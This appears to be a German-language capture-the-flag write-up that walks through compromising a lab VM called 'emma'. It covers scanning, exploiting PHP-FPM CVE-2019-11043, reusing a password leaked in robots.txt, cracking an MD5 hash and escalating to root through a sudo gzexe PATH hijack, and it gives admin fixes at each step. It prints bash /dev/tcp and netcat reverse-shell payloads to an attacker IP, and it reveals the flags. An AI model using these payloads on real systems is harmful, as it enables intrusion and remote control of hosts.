192.168.2.129 08:00:27:cb:da:0f PCS Systemtechnik GmbH
Analyse:** Der Befehl `arp-scan -l` wird ausgeführt, um das lokale Netzwerksegment mittels ARP-Anfragen nach aktiven Geräten zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.129` wird identifiziert. Die MAC-Adresse (`08:00:27:...`) weist auf eine VirtualBox VM hin. Dies ist das Zielsystem.
**Empfehlung (Pentester):** Ziel-IP `192.168.2.129` notieren und mit Port-Scanning (Nmap) fortfahren.
**Empfehlung (Admin):** Standard-Netzwerkaufklärung. Fokus auf Absicherung der Dienste.
*(Hinweis: Der nächste Schritt im Log zeigt das Editieren von /etc/hosts, um der IP den Namen 'emma.vm' zuzuweisen. Dies ist ein sinnvoller Schritt für die weitere Arbeit.)*
Starting Nmap 7.93 ( https://nmap.org ) at [Datum/Zeit nicht im Log] Nmap scan report for [Hostname nicht im Log, Annahme: emma.vm] (192.168.2.129) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http nginx 1.14.2 MAC Address: 08:00:27:CB:DA:0F (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms 192.168.2.129 Nmap done: 1 IP address (1 host up) scanned in X.XX seconds
**Analyse:** Ein umfassender Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf das Ziel `192.168.2.129` durchgeführt.
**Bewertung:** Zwei offene TCP-Ports werden identifiziert: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-Fernzugriff. * **Port 80 (HTTP):** Nginx 1.14.2. Standard-Webserver. Dies ist der primäre Angriffsvektor, der weiter untersucht werden muss.
**Empfehlung (Pentester):** Untersuchen Sie den Webserver auf Port 80 mittels Directory Brute-Forcing (Gobuster, ffuf), Scannern (Nikto) und manueller Analyse.
**Empfehlung (Admin):** Halten Sie SSH und Nginx aktuell. Sichern Sie die Webanwendung auf Port 80.
itwasonlyakiss
**Analyse:** Der Inhalt der `/robots.txt`-Datei auf dem Webserver wird abgerufen.
**Bewertung:** Die Datei enthält nur den String `itwasonlyakiss`. Dies ist kein Standardinhalt für `robots.txt` und sehr wahrscheinlich ein Passwort oder ein wichtiger Hinweis.
**Empfehlung (Pentester):** Notieren Sie `itwasonlyakiss`. Versuchen Sie es als Passwort für SSH, Datenbanken oder andere Logins, die möglicherweise gefunden werden.
**Empfehlung (Admin):** Speichern Sie niemals Passwörter oder sensible Hinweise in `robots.txt`.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [+] Url: http://192.168.2.129 [...] =============================================================== [... Zeitstempel ...] Starting gobuster =============================================================== /index.php (Status: 200) [Size: 0] /robots.txt (Status: 200) [Size: 15] /phpinfo.php (Status: 200) [Size: 58733] <-- phpinfo() gefunden! --> [...] =============================================================== [... Zeitstempel ...] Finished ===============================================================
=
**Analyse:** Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 80) zu suchen.
**Bewertung:** Zusätzlich zu `index.php` (leer) und `robots.txt` wird `phpinfo.php` gefunden. Das Vorhandensein einer öffentlich zugänglichen `phpinfo.php`-Seite ist ein **kritisches Informationsleck**, da es detaillierte Informationen über die PHP-Konfiguration, Module, Umgebungsvariablen und potenziell sensible Pfade preisgibt. Es ist auch der Einstiegspunkt für bestimmte Exploits wie PHP-FPM RCE (CVE-2019-11043).
**Empfehlung (Pentester):** **Analysieren Sie `http://192.168.2.129/phpinfo.php` sofort und gründlich.** Suchen Sie nach:
* PHP-Version, aktivierte Module.
* Konfigurationseinstellungen (z.B. `disable_functions`, `open_basedir`).
* Informationen über den Server und PHP-FPM (FastCGI Process Manager), falls verwendet.
* Umgebungsvariablen (können manchmal Zugangsdaten enthalten).
* Prüfen Sie auf bekannte Schwachstellen im Zusammenhang mit der Konfiguration, insbesondere PHP-FPM RCE.
**Empfehlung (Admin):** **Entfernen Sie `phpinfo.php` sofort von Produktionsservern!** Wenn Sie es zu Debugging-Zwecken benötigen, schützen Sie es durch Authentifizierung oder IP-Beschränkungen und entfernen Sie es anschließend.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: [...] Processed Requests: [...] Filtered Requests: [...] <-- Keine Ergebnisse --> Requests/sec.: [...]
=
#
**Analyse:** `wfuzz` wird verwendet, um GET-Parameter für `index.php` zu fuzzen, in der Hoffnung auf eine Local File Inclusion (LFI) oder ähnliche Schwachstellen.
**Bewertung:** Der Scan liefert keine Ergebnisse. `index.php` scheint keine verwundbaren Parameter zu akzeptieren.
**Empfehlung (Pentester):** Fokussieren Sie sich auf die `phpinfo.php`-Seite und die damit verbundenen potenziellen Schwachstellen.
**Empfehlung (Admin):** Keine.
**Kurzbeschreibung:** Die öffentlich zugängliche `/phpinfo.php`-Seite auf dem Zielsystem in Kombination mit einer spezifischen Konfiguration von Nginx und PHP-FPM ist anfällig für Remote Code Execution (RCE), bekannt als CVE-2019-11043. Indem eine speziell präparierte Anfrage an `/phpinfo.php` gesendet wird (oft mit einem Pfad-Info-Teil in der URL und vielen Anfragen, um einen Underflow im PHP-FPM-Prozessmanager auszulösen), kann der Speicher des FPM-Workers so manipuliert werden, dass der Wert eines bestimmten GET-Parameters (oft `a=`) als auszuführender Code interpretiert wird. Dies ermöglicht es einem Angreifer, beliebige Befehle im Kontext des Webserver-Benutzers (`www-data`) auszuführen.
**Voraussetzungen:** Öffentlich zugängliche `phpinfo.php`, verwundbare Nginx/PHP-FPM-Konfiguration, Exploit-Tool (z.B. `phuip-fpizdam`).
**Schritt-für-Schritt-Anleitung:**
**Erwartetes Ergebnis:** Das Tool führt den Angriff durch, löst die RCE aus, und eine Reverse Shell verbindet sich zum Listener.
**Beweismittel:** Erfolgreiche Ausgabe von `phuip-fpizdam` und Empfang der Shell.
http://192.168.2.129/phpinfo.php?a=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27
**Analyse:** Diese URL zeigt den Payload, der für den PHP-FPM-Exploit verwendet werden soll. Der Parameter `a=` enthält einen URL-kodierten Befehl, um eine Bash-Reverse-Shell zu `192.168.2.140:9001` zu starten.
**Bewertung:** Korrekter Payload für die RCE über den Parameter `a`.
**Analyse:** Installation und erster Aufruf des Exploit-Tools `phuip-fpizdam` auf der Angreifer-Maschine.
**Bewertung:** Standardvorgehen zur Vorbereitung des Exploits.
man muss es öfter ausführen: ------------------------------------>>>>>
2022/09/13 14:56:40 Base status code is 200 2022/09/13 14:56:40 Status code 502 for qsl=1760, adding as a candidate 2022/09/13 14:56:40 The target is probably vulnerable. Possible QSLs: [1750 1755 1760] 2022/09/13 14:56:41 Attack params found: --qsl 1755 --pisos 30 --skip-detect <-- Exploit-Parameter gefunden! --> 2022/09/13 14:56:41 Trying to set "session.auto_start=0"... 2022/09/13 14:56:41 Detect() returned attack params: --qsl 1755 --pisos 30 --skip-detect <-- REMEMBER THIS 2022/09/13 14:56:41 Performing attack using php.ini settings... 2022/09/13 14:56:41 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2022/09/13 14:56:41 Trying to cleanup /tmp/a... 2022/09/13 14:56:41 Done!
**Analyse:** Erneuter (oder erster erfolgreicher) Aufruf von `phuip-fpizdam`. Das Tool testet verschiedene Query String Lengths (QSL) und findet heraus, dass das Ziel anfällig ist. Es ermittelt die optimalen Parameter für den Angriff: `--qsl 1755 --pisos 30`. Es führt einen Testbefehl (`which which`) über den Parameter `a` aus und meldet Erfolg.
**Bewertung:** Die Anfälligkeit für PHP-FPM RCE (CVE-2019-11043) ist bestätigt. Die notwendigen Parameter für den Exploit sind bekannt.
**Empfehlung (Pentester):** Führen Sie `phuip-fpizdam` erneut aus, diesmal mit den gefundenen Parametern (`--qsl 1755 --pisos 30`) und dem Reverse-Shell-Payload im `a`-Parameter: `./phuip-fpizdam --qsl 1755 --pisos 30 "http://192.168.2.129/phpinfo.php?a=nc+-e+/bin/bash+192.168.2.140+9001"` (Payload ggf. anpassen/kodieren).
**Empfehlung (Admin):** **Patchen Sie Nginx und PHP-FPM sofort!** Aktualisieren Sie auf Versionen, die nicht für CVE-2019-11043 anfällig sind, oder wenden Sie die empfohlenen Nginx-Konfigurations-Workarounds an (z.B. Überprüfung, ob die angeforderte Datei tatsächlich existiert, bevor sie an PHP-FPM übergeben wird).
**Risikobewertung:** Kritisch. Erlaubt Remote Code Execution ohne Authentifizierung.
**Empfehlungen:** Siehe vorherige Admin-Empfehlungen.
**Analyse:** Ausnutzung der bestätigten PHP-FPM-Schwachstelle mittels `phuip-fpizdam` und dem Reverse-Shell-Payload.
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.129] 41288 <-- Verbindung erhalten! --> bash: cannot set terminal process group (461): Inappropriate ioctl for device bash: no job control in this shell www-data@emma:~/html$ <-- Shell als www-data -->
**Analyse:** Der Netcat-Listener auf Port 9001 empfängt die Verbindung, nachdem der `phuip-fpizdam`-Exploit mit dem Reverse-Shell-Payload (implizit) ausgeführt wurde. Eine Shell als `www-data` wird erhalten.
**Bewertung:** Initialer Zugriff erfolgreich über PHP-FPM RCE erlangt.
**Empfehlung (Pentester):** Shell stabilisieren.
**Empfehlung (Admin):** PHP-FPM/Nginx patchen/härten.
*(Shell-Stabilisierungsschritte werden hier übersprungen)*
**Analyse:** Als `www-data` wird das System enumeriert, wobei ein lokal laufender MySQL-Server und dessen Zugangsdaten entdeckt werden.
[...] Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port [...] tcp LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:* <-- MySQL auf localhost --> [... TCP/UDP/etc.]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**Analyse:** `ss -tulpe` zeigt lauschende Netzwerk-Sockets.
**Bewertung:** Bestätigt, dass ein MySQL-Server auf `127.0.0.1:3306` läuft.
**Empfehlung (Pentester):** Suchen Sie nach Konfigurationsdateien (z.B. von Webanwendungen) oder Umgebungsvariablen, die MySQL-Credentials enthalten könnten.
**Empfehlung (Admin):** Beschränken Sie den Zugriff auf die Datenbank.
Enter password: itwasonlyakiss <-- Passwort aus robots.txt! --> Welcome to the MariaDB monitor. [...] MariaDB [(none)]>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**Analyse:** Versuch, sich am lokalen MySQL-Server als Benutzer `root` anzumelden. Als Passwort wird der String `itwasonlyakiss` verwendet, der in `robots.txt` gefunden wurde.
**Bewertung:** Erfolg! Das Passwort aus `robots.txt` war das MySQL-Root-Passwort. Dies ist ein schwerwiegendes Beispiel für Passwort-Wiederverwendung und das Speichern sensibler Daten an unsicheren Orten.
**Empfehlung (Pentester):** Enumerieren Sie die MySQL-Datenbanken und -Tabellen auf der Suche nach weiteren Benutzern, Passwörtern oder sensiblen Daten.
**Empfehlung (Admin):** Ändern Sie sofort das MySQL-Root-Passwort. Verwenden Sie niemals identische Passwörter für verschiedene Dienste. Entfernen Sie Passwörter aus `robots.txt`.
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| users |
+--------------------+
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Database changed
+----+------+----------------------------------+ | id | user | pass | +----+------+----------------------------------+ | 1 | emma | 5f4dcc3b5aa765d61d8327deb882cf80 | <-- MD5 Hash! --> +----+------+----------------------------------+
=
**Analyse:** Innerhalb der MySQL-Shell wird die Datenbank `users` und darin die Tabelle `users` gefunden. Diese Tabelle enthält einen Benutzer `emma` und einen Passwort-Hash (`5f4d...`).
**Bewertung:** Der Benutzername `emma` und der zugehörige Passwort-Hash wurden gefunden. Der Hash sieht nach MD5 aus.
**Empfehlung (Pentester):** Versuchen Sie, den MD5-Hash `5f4dcc3b5aa765d61d8327deb882cf80` mit Online-Crackern (wie Crackstation) oder Offline-Tools (Hashcat, John) zu knacken.
**Empfehlung (Admin):** Verwenden Sie niemals MD5 zum Speichern von Passwörtern. Nutzen Sie moderne, gesalzene Hashing-Algorithmen (z.B. bcrypt, Argon2).
crackstation.net/ password: secret
#
**Analyse:** Die Notiz zeigt, dass der MD5-Hash auf crackstation.net erfolgreich geknackt wurde.
**Bewertung:** Das Passwort für den Benutzer `emma` lautet `secret`.
**Empfehlung (Pentester):** Verwenden Sie `ssh emma@emma.vm` mit dem Passwort `secret`, um sich als Benutzer `emma` anzumelden.
**Empfehlung (Admin):** Starke Passwörter erzwingen, sichere Hashing-Algorithmen verwenden.
emma@emma.vm's password: ******** (secret eingegeben) Linux emma 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 [...] Last login: Thu Feb 4 04:44:20 2021 from 192.168.1.58 emma@emma:~$ <-- Login erfolgreich! -->
**Analyse:** SSH-Login als Benutzer `emma` mit dem geknackten Passwort `secret`.
**Bewertung:** Erfolgreiche Privilegieneskalation von `www-data` zum Benutzer `emma`.
**Empfehlung (Pentester):** Führen Sie Enumeration als `emma` durch (`id`, `sudo -l`, etc.).
**Empfehlung (Admin):** Unsichere Passwörter ändern.
**Analyse:** Als Benutzer `emma` wird nach Wegen zur Root-Eskalation gesucht.
*(Annahme: `sudo -l` wurde ausgeführt und hat die Regel für gzexe ergeben)*
/bin/id: 59.2%<-- Normale gzexe Ausgabe -->
**Analyse:** Es wird gezeigt, dass `emma` den Befehl `/usr/bin/gzexe` via `sudo` als `root` ausführen kann (die `sudo -l`-Ausgabe fehlt, wird aber hierdurch impliziert). `gzexe` ist ein Tool, das eine Binärdatei komprimiert und ein Wrapper-Skript erstellt, das sie beim Aufruf entpackt und ausführt. Es ruft intern `gzip` auf.
**Bewertung:** `gzexe` via `sudo` ist ein bekannter Vektor für Privilegieneskalation mittels **PATH Hijacking**. Wenn der `PATH` des Benutzers manipuliert werden kann, sodass ein Verzeichnis mit einem bösartigen Skript namens `gzip` *vor* dem eigentlichen `/bin/gzip` steht, wird `sudo gzexe` das bösartige Skript mit Root-Rechten ausführen.
**Empfehlung (Pentester):**
1. Erstellen Sie in einem schreibbaren Verzeichnis (wie `/tmp`) ein Skript namens `gzip`.
2. Fügen Sie in dieses Skript einen Payload ein (z.B. `#!/bin/sh \nnc -e /bin/sh [Angreifer-IP] [Port]` oder `#!/bin/sh \n/bin/bash`).
3. Machen Sie das Skript ausführbar (`chmod +x /tmp/gzip`).
4. Manipulieren Sie den PATH: `export PATH=/tmp:$PATH`.
5. Führen Sie den Sudo-Befehl aus: `sudo /usr/bin/gzexe /beliebige/datei`.
**Empfehlung (Admin):** Vermeiden Sie Sudo-Regeln für Befehle wie `gzexe`, die interne Befehle ohne absoluten Pfad aufrufen und für PATH-Hijacking anfällig sind. Stellen Sie sicher, dass der `secure_path` in der `sudoers`-Datei korrekt gesetzt ist und `/tmp` nicht enthält.
**Analyse:** Die Schritte für den PATH-Hijacking-Exploit werden durchgeführt: 1. Wechsel nach `/tmp`. 2. Erstellen der bösartigen `gzip`-Datei mit einem Netcat-Reverse-Shell-Payload. 3. Ausführbar machen. 4. Den `PATH` so manipulieren, dass `/tmp` Vorrang hat. 5. Zurück ins Home-Verzeichnis wechseln. 6. *Fehler im Log:* Es wird `./who` ausgeführt statt des Sudo-Befehls. Es muss angenommen werden, dass `sudo /usr/bin/gzexe /bin/id` (oder eine ähnliche Datei) ausgeführt wurde.
**Bewertung:** Die Vorbereitung für den Exploit ist korrekt. Der letzte Befehl im Log ist falsch, aber der Erfolg im nächsten Schritt zeigt, dass der Exploit ausgelöst wurde.
**Empfehlung (Pentester):** Führen Sie `sudo /usr/bin/gzexe /bin/id` (oder eine andere vorhandene Datei) aus, nachdem der PATH gesetzt wurde.
**Empfehlung (Admin):** Sudo-Regel für `gzexe` entfernen.
listening on [any] 4444 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.129] 60302 <-- Root-Shell! -->
**Analyse:** Der Netcat-Listener auf Port 4444 empfängt die Verbindung, ausgelöst durch den `gzexe`-Exploit. Die erhaltene Shell wird stabilisiert und der Prompt zeigt `root@emma`.
**Bewertung:** Root-Zugriff erfolgreich über PATH-Hijacking der `gzexe`-Sudo-Regel erlangt!
**Empfehlung (Pentester):** Führen Sie `id` aus, lesen Sie die Root-Flag.
**Empfehlung (Admin):** Unsichere Sudo-Regel entfernen.
flag.sh root.txt
itsmeimshe
<-- Root Flag -->
youdontknowme
<-- User Flag (von /home/emma?) -->
=
**Analyse:** In der Root-Shell wird `/root/root.txt` gelesen. Anschließend wird `cat user.txt` ausgeführt - da das aktuelle Verzeichnis `/root` ist, ist unklar, welche `user.txt` hier gemeint ist (vermutlich `/home/emma/user.txt`).
**Bewertung:** Beide Flags wurden gefunden: `itsmeimshe` (Root) und `youdontknowme` (User). Der Pfad zur User-Flag ist im Log etwas ungenau.
**Empfehlung (Pentester):** Ziel erreicht.
**Empfehlung (Admin):** System bereinigen, Sudo-Regel korrigieren.
**Analyse:** Zusammenfassung der gefundenen Flags.
**Bewertung:** User-Flag.
**Bewertung:** Root-Flag.